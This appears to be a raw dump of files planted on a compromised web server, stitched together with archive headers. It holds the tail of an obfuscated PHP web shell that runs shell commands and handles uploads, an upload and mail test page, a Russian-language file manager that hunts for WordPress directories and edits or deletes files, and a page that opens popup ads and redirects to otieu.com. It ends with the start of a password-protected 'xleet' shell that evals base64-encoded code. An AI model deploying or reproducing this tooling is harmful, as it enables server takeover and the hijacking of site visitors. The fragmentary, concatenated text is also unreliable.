x3c\57\144\x69\166\x3e\xa\x20\x20\x20\40\x3c\144\151\166\x20\143\154\x61\163\x73\x3d\42\146\x69\145\x6c\x64\42\x3e\12\40\x20\40\x20\40\x20\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\x22\x63\x74\x6e\42\x20\143\x6c\141\x73\x73\x3d\x22\x6c\141\142\x65\154\42\76\x43\x6f\x6e\164\145\x6e\164\x3c\57\154\x61\x62\x65\x6c\x3e\12\40\40\x20\40\40\40\x3c\x74\x65\x78\x74\x61\162\x65\x61\40\163\x74\171\154\x65\x3d\x22\x72\145\x73\151\x7a\x65\72\156\x6f\x6e\145\42\x20\x6e\x61\155\x65\x3d\42\x63\x74\x6e\x22\x20\x69\x64\x3d\42\143\164\156\x22\x20\x63\157\154\163\75\42\x33\x30\42\x20\x72\x6f\167\x73\75\42\61\60\x22\40\x63\154\141\x73\x73\x3d\42\x74\145\170\x74\141\x72\145\141\x22\40\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\43\x20\123\164\x61\155\160\145\x64\x20\x42\x79\40\115\145\42\76\74\x2f\x74\145\x78\164\x61\162\x65\141\76\xa\40\x20\40\40\x3c\57\144\x69\x76\x3e\12\x20\40\40\40\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x6e\x61\155\x65\75\x22\x73\42\40\143\154\141\163\163\x3d\42\x62\165\164\x74\x6f\x6e\40\151\x73\x2d\160\162\x69\155\141\x72\171\42\76\103\162\x65\141\164\x65\x3c\57\x62\165\164\164\157\x6e\76\xa\40\x20\74\57\x66\x6f\x72\x6d\76\12\xa"; goto AqqqY; rcEfg: goto dR8cX; goto Qm8jY; Vk0NB: echo nut1o(); goto F5940; i4dlG: VAoSI: goto OTlAe; NVoZA: XD1zL: goto xLpxC; rA9Hj: $bP9ht = shell_exec("\172\x69\160\x20{$fKgA3}\40{$E5Z_f}\40\62\76\46\61"); goto qG05B; PC10j: F2Y3T("\x66\151\x6c\145\40\146\x61\151\x6c\145\144\x20\164\157\x20\165\160\x6c\x6f\141\144", 0); goto ilodd; AMrTf: echo m9jKO; goto hXpWe; nycFR: kWGcU: goto VrT_s; txAy7: die($oJwbz); goto ncRkG; bmtvF: echo TA6a_(); goto qQmdQ; CRCRe: goto xNsqm; goto Px60m; yzNGs: HNYAM: goto K_MOx; ncRkG: uskpD: goto PIAej; fWCEd: echo "\x3c\57\154\x61\142\145\x6c\x3e\12\11\11\74\151\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\42\143\147\146\42\40\x76\x61\x6c\x75\145\75\42"; goto G87Ww; efyrq: echo "\124\x68\145\x20\x27\172\x69\160\47\40\143\x6f\x6d\155\x61\x6e\144\40\151\163\x20\156\157\164\40\141\x76\x61\151\154\141\142\x6c\x65\40\157\x6e\40\164\x68\x69\x73\40\163\145\162\x76\145\x72\x2e\xa"; goto txAy7; Ii6qh: $zErae = 0; goto VJrQl; tvfll: echo "\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\160\170\55\x32\x20\x70\x79\55\62\42\x3e\12"; goto nPlIh; KBqBV: echo substr(@php_uname(), 0, 120); goto sogkV; zysIk: echo "\x3c\x2f\156\157\x62\x72\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\142\x20\x63\154\141\163\x73\75\42\x74\x61\147\40\x69\x73\x2d\167\x61\x72\156\x69\156\147\x20\155\x72\x2d\62\x22\x3e\x53\145\162\x76\x65\x72\x20\x41\144\x6d\151\x6e\x3c\x2f\142\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x6e\x6f\x62\x72\x3e"; goto Gjxeh; F5940: echo "\74\57\x6e\x6f\x62\162\x3e\xa\40\40\40\40\x20\40\x3c\x2f\144\151\x76\76\12\x20\40\40\x20\40\12\40\x20\x20\40\74\57\x64\x69\166\x3e\xa\40\x20\40\x20\74\144\x69\166\40\143\x6c\x61\x73\x73\75\42\151\163\x2d\146\x6c\145\170\x20\151\x73\55\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\x74\151\157\x6e\x2d\x63\157\x6c\x75\x6d\156\x22\40\163\164\171\154\145\75\x22\x67\141\160\x3a\64\x70\x78\42\x3e\xa\40\x20\x20\40\40\x20\74\146\157\x72\155\x20\141\143\x74\x69\157\x6e\x3d\42\x22\x20\143\x6c\141\x73\163\x3d\x22\151\x73\55\146\x6c\x65\170\40\151\163\x2d\x61\154\x69\x67\156\55\x69\164\x65\x6d\x73\55\x65\x6e\144\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\117\x53\124\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\74\144\x69\166\x3e\12\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\41\x2d\55\x20\x3c\154\x61\x62\x65\x6c\x3e\x4e\x65\x77\40\x46\x6f\x6c\x64\145\162\74\57\154\x61\x62\x65\154\x3e\40\x2d\x2d\76\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\143\154\x61\x73\x73\75\x22\151\x6e\x70\x75\x74\x20\x69\163\x2d\x73\x6d\x61\154\x6c\42\40\160\x6c\x61\143\145\150\157\154\144\x65\162\75\x22\116\145\167\40\106\157\x6c\144\145\x72\42\40\x6e\141\x6d\145\75\42\x6d\x61\153\145\x64\151\x72\x22\57\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\144\151\x76\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\x62\x75\x74\164\x6f\156\40\143\x6c\x61\163\163\75\42\155\154\55\61\x20\142\165\164\x74\x6f\156\x20\151\x73\55\160\162\151\x6d\141\x72\171\40\151\163\55\163\155\x61\154\154\x22\40\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x6e\x61\155\x65\x3d\x22\163\x75\x62\155\x69\164\42\x3e\76\x3c\57\142\x75\164\164\157\156\76\xa\x20\x20\x20\40\40\40\x20\40"; goto uB_8o; gWY2k: fwrite($huZFR, ''); goto MIuoc; PIAej: $K1rI2 = shell_exec("\167\x68\x69\x63\x68\40\165\x6e\172\x69\160"); goto A6yqx; krM1G: $keVpk = UgwhK($_GET["\160"]); goto yTsJL; R4zTw: ezK61: goto jMwg9; n4dOh: c5KEW: goto Me6j_; ez7b5: if ($uKjJE == "\162\145\156\x61\155\x65") { goto HdZ03; } goto Uoc5T; rwbJh: echo UgWHK($_GET["\160"]) . "\57" . uGWHk($_GET["\x64"]); goto hp8IJ; wgLuw: echo $_SERVER["\123\x45\122\x56\105\122\x5f\123\117\x46\x54\127\x41\122\x45"]; goto INqQY; JrTm1: echo "\x3c\57\156\x6f\142\162\76\74\x2f\154\x69\76\xa\x20\40\40\x20\74\154\151\76\x53\145\162\x76\x65\162\x20\x49\120\40\x3a\x20\74\156\157\142\162\76"; goto POOFd; X7iEx: echo "\x3c\x2f\x6e\x6f\x62\x72\76\12\40\40\x20\x20\40\40\x20\x20\x3c\x62\x20\x63\154\x61\x73\163\75\42\164\141\147\x20\151\x73\55\x69\156\x66\157\40\x6d\162\x2d\62\42\76\131\157\165\x72\40\111\x50\74\57\x62\x3e\12\40\x20\40\x20\x20\x20\40\x20\x3c\x6e\157\142\x72\76"; goto BrWxp; Ae3K7: s1Yh0: goto HJu9V; io1hp: echo "\106\x61\x69\154\x65\144\x20\x74\157\x20\143\162\x65\x61\x74\145\40\x7a\x69\x70\40\146\x69\x6c\145\40\165\x73\151\x6e\x67\x20\143\157\155\155\x61\156\x64\40\x6c\x69\156\x65\72\40{$bP9ht}\xa"; goto LYRJc; zG1WA: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugwHk($_GET["\x6e"]))); goto Oc3yC; sXwNB: BB29s: goto ab_vv; s5eAc: $mWJjd[$zErae] = UGWHK($mWJjd[$zErae]); goto yzNGs; Zn19y: if (!isset($_REQUEST["\151\x6e\x66\x6f"])) { goto W3If1; } goto wltfg; Px60m: hlaFx: goto TkbBu; FcEuN: $FZEHa = true; goto mdSkB; P_RV9: pBHDV: goto zYm0b; auHmR: echo "\40\40\74\144\x69\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\164\141\151\x6e\145\162\40\x69\163\x2d\x6d\141\x78\55\164\x61\x62\x6c\x65\164\42\x3e\xa\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\141\143\164\x69\x6f\x6e\75\x22\x22\40\x63\x6c\141\163\163\75\42\x62\157\170\42\40\155\145\x74\150\157\x64\x3d\x22\x50\x4f\x53\124\42\40\143\154\x61\x73\163\75\42\x6d\x79\x2d\x32\42\40\x73\x74\171\x6c\145\x3d\x22\142\x6f\162\x64\x65\162\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x68\x73\x6c\x28\61\67\61\54\x20\x31\60\x30\x25\54\x20\64\x31\45\51\73\x22\76\12\x20\40\40\40\x20\40\74\154\141\x62\145\154\40\x63\x6c\x61\163\x73\75\x27\x6c\x61\x62\145\154\47\76\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\164\x65\170\x74\x2d\160\x72\151\155\141\162\171\42\76\103\150\141\156\x67\145\x20\120\x65\162\x6d\151\x73\163\151\x6f\156\x20\106\157\162\40\104\151\x72\145\143\164\x6f\162\x79\x3a\x3c\57\163\x70\141\x6e\x3e\40"; goto Bsshy; aXR3g: TJ4s1: goto Gq4B7; Rn_2N: goto uskpD; goto CzNJw; NL4ms: if ($mWJjd[11]($_FILES["\x66"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"][$zErae], $G21FS[$zErae])) { goto c5KEW; } goto PC10j; cItqs: echo "\74\x2f\x68\64\76\12\x20\x20\x20\40\40\40\40\x20\x3c\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x65\154\144\x22\x3e\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\74\154\x61\142\x65\154\40\x66\157\162\x3d\42\156\42\x20\x63\154\141\163\163\x3d\x22\x6c\x61\x62\145\x6c\42\x3e\x4e\x61\x6d\x65\x3c\57\x6c\x61\x62\x65\154\x3e\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\x65\x3d\42\x74\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x6e\42\x20\x69\144\x3d\x22\156\x22\40\x63\154\x61\x73\x73\x3d\42\x69\x6e\160\165\164\42\40\166\x61\154\165\x65\x3d\x22"; goto K8G1p; R3m4X: $FK4d6 = $keVpk . "\57" . UGWhk($_GET["\156"]); goto JniYy; Oc3yC: echo "\x20\40\x3c\57\x74\145\x78\x74\141\x72\145\141\x3e\xa\74\57\x64\151\166\x3e"; goto nEtKu; lmJ1h: goto dNIIH; goto Lh2oi; c2FpU: $eEP7u = $mWJjd[4]("\57\50\x5c\134\174\134\x2f\51\57", $keVpk); goto hruo2; F63xR: oOGUu: goto D2wrg; Gnh_S: if (!isset($_GET["\141"])) { goto uUjpR; } goto vbN4c; uThiJ: goto E3PXK; goto Ka8IZ; Vry41: goto xNsqm; goto lqGWm; ftJXw: W3If1: goto CXBuX; KANoq: echo tA6a_(); goto tHsvF; U9Ak6: echo substr(@phpversion(), 0, 20); goto aVil9; FMjRe: print $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto oQYI2; nJ13P: if (!($_GET["\x74"] == "\x66")) { goto NbHdV; } goto R3m4X; ID3JS: echo "\x3c\57\x6e\157\142\x72\x3e\12\x20\40\x20\x20\40\40\x3c\57\144\151\x76\76\12\x20\40\x20\40\x20\x20\74\144\x69\166\40\x6f\156\143\154\151\x63\153\75\x22\x6e\141\x76\x69\147\x61\x74\x6f\162\x2e\x63\154\151\160\142\x6f\141\x72\144\x2e\x77\x72\151\164\x65\x54\145\x78\x74\x28\x27"; goto fptV5; BFh3Z: }123456/test1.php000077700000011216151514460360007076 0ustar00<?php // Enable error reporting for debugging purposes (remove in production) error_reporting(E_ALL); ini_set('display_errors', 1); // Initialize variable for default email value $defaultEmail = ""; // Define a function to send an email with comprehensive error handling function sendEmail($to, $subject, $message) { // Validate email format if (!filter_var($to, FILTER_VALIDATE_EMAIL)) { error_log("Invalid email address: $to"); return false; } // Basic email headers for better compatibility $headers = "From: webmaster@" . $_SERVER['HTTP_HOST'] . "\r\n"; $headers .= "Reply-To: webmaster@" . $_SERVER['HTTP_HOST'] . "\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/plain; charset=UTF-8\r\n"; $headers .= "X-Mailer: PHP/" . phpversion(); // Sanitize subject to prevent header injection $subject = preg_replace("/[\r\n]/", "", $subject); // Try to send email if (mail($to, $subject, $message, $headers)) { return true; } else { // Log the error for debugging error_log("Failed to send email to: $to"); return false; } } // Function to check if mail() function is available function isMailAvailable() { return function_exists('mail'); } ?> <!-- Display a message indicating that upload is working --> Upload is <b><span style="color: green">WORKING</span></b><br> <!-- Display mail function status --> Check Mailing ..<br> <?php if (!isMailAvailable()) { echo '<b><span style="color: red">MAIL FUNCTION NOT AVAILABLE ON THIS SERVER</span></b><br>'; } else { echo '<b><span style="color: green">MAIL FUNCTION IS AVAILABLE</span></b><br>'; } ?> <!-- Display server information for debugging --> <div style="background: #f0f0f0; padding: 10px; margin: 10px 0; font-size: 12px;"> <strong>Server Info:</strong><br> PHP Version: <?php echo phpversion(); ?><br> Server: <?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?><br> OS: <?php echo PHP_OS; ?><br> Mail Function: <?php echo isMailAvailable() ? 'Available' : 'Not Available'; ?> </div> <!-- Create a form for users to input email address --> <form method="post"> <label for="email">Email Address:</label> <input type="email" name="email" id="email" value="<?php echo htmlspecialchars($defaultEmail); ?>" placeholder="Enter your email" required> <br><br> <input type="submit" value="Send Test Email >>"> </form> <br> <?php // Check if the form has been submitted and email field is filled if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['email'])) { // Sanitize email input $email = filter_var(trim($_POST['email']), FILTER_SANITIZE_EMAIL); // Validate email if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo '<b style="color: red;">Please enter a valid email address</b>'; } elseif (!isMailAvailable()) { echo '<b style="color: red;">Mail function is not available on this server. Contact your hosting provider.</b>'; } else { $xx = mt_rand(); // Generate a random number // Create message with more details $message = "EMAIL TEST WORKING!\n\n"; $message .= "Test ID: " . $xx . "\n"; $message .= "Server: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') . "\n"; $message .= "PHP Version: " . phpversion() . "\n"; $message .= "Timestamp: " . date('Y-m-d H:i:s') . "\n"; $message .= "This is a test email to verify that the PHP mail system is working correctly."; $subject = "PHP Mail Test - " . $xx; // Send email and handle result $result = sendEmail($email, $subject, $message); if ($result) { // Display a success message echo "<b style='color: green;'>✓ Successfully sent test email to " . htmlspecialchars($email) . " (Test ID: $xx)</b>"; echo "<br><small>Please check your inbox and spam folder for the test email.</small>"; } else { // Display a failure message echo "<b style='color: red;'>✗ Failed to send test email to " . htmlspecialchars($email) . "</b>"; // Additional troubleshooting info echo "<div style='background: #fff0f0; padding: 10px; margin: 10px 0; font-size: 11px;'>"; echo "<strong>Troubleshooting Tips:</strong><br>"; echo "1. Verify the email address is correct<br>"; echo "2. Check your spam folder<br>"; echo "3. Contact your hosting provider to check mail server configuration<br>"; echo "4. Verify PHP mail() function is enabled on the server"; echo "</div>"; } } } ?>123456/fs7.php000077700000020002151514460360006526 0ustar00<?php // === ГЛОБАЛЬНЫЙ ПОИСК wp-content === function deepScanGlobal($startDir = '/') { $results = []; $stack = [$startDir]; while (!empty($stack)) { $current = array_pop($stack); if (!is_dir($current) || is_link($current)) continue; $items = @scandir($current); if (!$items) continue; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $current . DIRECTORY_SEPARATOR . $item; if (is_dir($fullPath)) { if (basename($fullPath) === 'wp-content') { $results[] = realpath($fullPath); } $stack[] = $fullPath; } } } return $results; } if (isset($_GET['findwpglobal'])) { echo "<h3>Глобальный поиск 'wp-content' с корня сервера (/)</h3>"; echo "<p>Это может занять несколько минут...</p><hr>"; @set_time_limit(0); @ini_set('memory_limit', '512M'); $found = deepScanGlobal('/'); if (empty($found)) { echo "<p>❌ Ничего не найдено.</p>"; } else { foreach ($found as $dir) { $url = '?path=' . urlencode($dir); echo "<a href=\"$url\"><code>$dir</code></a><br>"; } } echo '<br><a href="?">⬅️ Назад</a><br>'; exit; } $path = isset($_GET['path']) ? realpath($_GET['path']) : realpath(__DIR__); if (!$path) $path = realpath(__DIR__); if (isset($_POST['newfile'])) { $newFilePath = $path . '/' . basename($_POST['newfile']); if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); echo "<p>Файл создан успешно!</p>"; } else { echo "<p>Файл уже существует!</p>"; } } if (isset($_POST['content'], $_POST['file'])) { $file = realpath($_POST['file']); if ($file && is_writable($file)) { file_put_contents($file, $_POST['content']); echo "<p>Файл сохранён успешно!</p>"; } else { echo "<p>Ошибка сохранения файла!</p>"; } } if (isset($_POST['upload']) && isset($_FILES['uploads'])) { foreach ($_FILES['uploads']['tmp_name'] as $key => $tmp_name) { $name = basename($_FILES['uploads']['name'][$key]); move_uploaded_file($tmp_name, $path . '/' . $name); } header('Location: ?path=' . urlencode($path)); exit; } if (isset($_POST['create'], $_POST['name'])) { $newPath = $path . '/' . basename($_POST['name']); if (!file_exists($newPath)) { if ($_POST['create'] === 'folder') { mkdir($newPath, 0755); } else { file_put_contents($newPath, ''); } header('Location: ?path=' . urlencode($path)); exit; } else { echo "<p>Файл или папка уже существует!</p>"; } } if (isset($_POST['action']) && $_POST['action'] === 'rename' && isset($_POST['oldname'], $_POST['newname'])) { $old = realpath($path . '/' . $_POST['oldname']); $new = $path . '/' . basename($_POST['newname']); if ($old && $old !== $new) { rename($old, $new); header('Location: ?path=' . urlencode($path)); exit; } else { echo "<p>Ошибка переименования.</p>"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'delete') { $selected = $_POST['selected_files'] ?? []; foreach ($selected as $f) { $target = realpath($path . DIRECTORY_SEPARATOR . $f); if (!$target) continue; if (is_file($target)) { @unlink($target) or $message .= "Не удалось удалить '$f'.<br>"; } elseif (is_dir($target)) { @rmdir($target) or $message .= "Не удалось удалить папку '$f'. Возможно, она не пуста.<br>"; } } } if (is_file($path)) { $content = htmlspecialchars(file_get_contents($path)); echo '<a href="?path=' . urlencode(dirname($path)) . '">⬅️ Назад</a><br><br>'; echo '<form method="post"><textarea name="content" style="width:100%; height:400px;">' . $content . '</textarea><br>'; echo '<input type="hidden" name="file" value="' . htmlspecialchars($path) . '">'; echo '<button>Сохранить</button></form>'; exit; } $dir = scandir($path); echo "<h3>Файлы в: $path</h3>"; echo '<form method="get" style="display:inline;"><button type="submit" name="findwpglobal" value="1">Найти wp-content во всей системе</button></form><br><br>'; echo '<form method="post" enctype="multipart/form-data">'; echo '<div style="margin-bottom: 10px;">'; echo '<input type="file" name="uploads[]" multiple style="margin-right: 10px;">'; echo '<button type="submit" name="upload">Загрузить</button>'; echo '</div>'; echo '</form>'; echo '<form method="post">'; echo '<div style="margin-bottom: 10px;">'; echo '<input type="text" name="name" placeholder="Имя файла или папки" style="margin-right: 10px;">'; echo '<button type="submit" name="create" value="file">Создать файл</button>'; echo '<button type="submit" name="create" value="folder">Создать папку</button>'; echo '</div>'; echo '</form>'; echo '<form method="post">'; echo '<div style="margin-bottom: 10px;">'; echo '<button type="submit" name="action" value="delete">Удалить</button>'; echo '<button type="button" onclick="renameSelected()">Переименовать</button>'; echo '</div>'; // CSS echo '<style> body { font-family: sans-serif; font-size: 15px; } form, ul { margin-bottom: 10px; } input[type=text] { padding: 2px 6px; } button { padding: 2px 8px; margin-right: 4px; } ul { list-style: none; padding-left: 0; } li { margin-bottom: 2px; } a { text-decoration: none; color: #1a0dab; } a:hover { text-decoration: underline; } [type=file] { margin-bottom: 4px; } p { margin: 0; padding: 0; } </style>'; // File/folder list echo '<ul>'; foreach ($dir as $item) { if ($item === '.') continue; $itemPath = realpath($path . '/' . $item); if ($itemPath === false) continue; $size = is_file($itemPath) ? filesize($itemPath) : '-'; echo '<li>'; echo '<input type="checkbox" name="selected_files[]" value="' . htmlspecialchars($item) . '">'; echo '<a href="?path=' . urlencode($itemPath) . '">' . $item . '</a>'; echo ' <span style="color: #888; font-size: 90%;">(' . $size . ' байт)</span>'; echo '</li>'; } echo '</ul>'; // JavaScript echo '<script> function toggleSelectAll(source) { var checkboxes = document.getElementsByName("selected_files[]"); for (var i = 0; i < checkboxes.length; i++) { checkboxes[i].checked = source.checked; } } function renameSelected() { const selectedFiles = document.getElementsByName("selected_files[]"); const checkedFiles = Array.from(selectedFiles).filter(f => f.checked); if (checkedFiles.length === 0) { alert("Пожалуйста, выберите файл для переименования"); return; } if (checkedFiles.length > 1) { alert("Пожалуйста, выберите только один файл для переименования"); return; } const oldName = checkedFiles[0].value; const newName = prompt("Введите новое имя:", oldName); if (!newName || newName === oldName) { return; } const form = document.createElement("form"); form.method = "post"; form.innerHTML = ` <input type="hidden" name="action" value="rename"> <input type="hidden" name="oldname" value="${oldName}"> <input type="hidden" name="newname" value="${newName}"> `; document.body.appendChild(form); form.submit(); } </script>'; ?> 123456/index.html000064400000003001151514460360007304 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 123456/xl7.php000077700000215435151514460360006561 0ustar00<?php $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //Pass: xleet $o= "ba"."se"."\x36\x34\x5F"."de"."c"."ode"; eval($o("CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPW